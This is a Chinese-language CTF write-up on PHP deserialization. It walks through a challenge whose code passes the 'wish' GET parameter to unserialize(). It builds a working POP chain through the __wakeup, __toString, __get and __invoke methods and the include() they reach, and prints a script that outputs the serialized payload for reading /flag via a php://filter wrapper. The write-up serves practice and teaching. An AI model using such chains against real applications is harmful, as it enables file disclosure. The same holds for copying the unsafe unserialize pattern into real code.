最近,打算刷一刷PHP反序列化相关的CTF题目,再沉淀沉淀。
题目:
新年快乐~ 许愿
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
分析:
分析一下,我的习惯是用反推法,先找我们利用的地方。
1.在Try_Work_Hard类中有一个
append方法,有一个include()函数,这里可以联系到文件包含,再结合php协议读取文件数据。
class Try_Work_Hard{
protected $var ="php://filter/read=convert.base64-encode/resource=/flag";
}
2.那么,如何调用append()方法呢?可以看到Try_Work_Hard的__invoke()魔术方法可以调用,怎么触发__invoke()方法呢?__invoke()的触发条件是:把对象当作函数是被被调用。那就找那个对象被当作函数了。
3.可以
看到 MAKE_a_Change 类中,把$function
对象当作了函数来调用。条件是__get()魔术方法得被调用。看一下__get()魔术方法的触发条件:
读取不可访问或者不存在的属性的时候,进行赋值,找找符合触发条件的代码,如果 $this ->string = MAKE_a_Change的话,就会访问其page 属性,而其类中没有此方法则会调用__get().
4. __toString():类被当成字符串时触发。在正则匹配这个地方 ,如果$page 是一个对象,那么进入正则 $this->page 当做了字符串去匹配了。也就触发了 __toString。
构造pop
<?php
class Road_is_Long{
public $page;
public $string;
// public function __construct($file='index.php'){
// $this->page = $file;
// }
// public function __toString(){
// return $this->string->page;
// }
// public function __wakeup(){
// if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
// echo "You can Not Enter 2022";
// $this->page = "index.php";
// }
// }
}
class Try_Work_Hard{
protected $var ="php://filter/read=convert.base64-encode/resource=/flag";
// public function append($value){
// include($value);
// }
// public function __invoke(){
// $this->append($this->var);
// }
}
class Make_a_Change{
public $effort;
// public function __construct(){
// $this->effort = array();
// }
// public function __get($key){
// $function = $this->effort;
// return $function();
// }
}
$a = new Road_is_Long();
$a ->page = new Road_is_Long();
$a ->page->string = new Make_a_Change();
$a ->page->string ->effort =new Try_Work_Hard();
echo urlencode(serialize($a));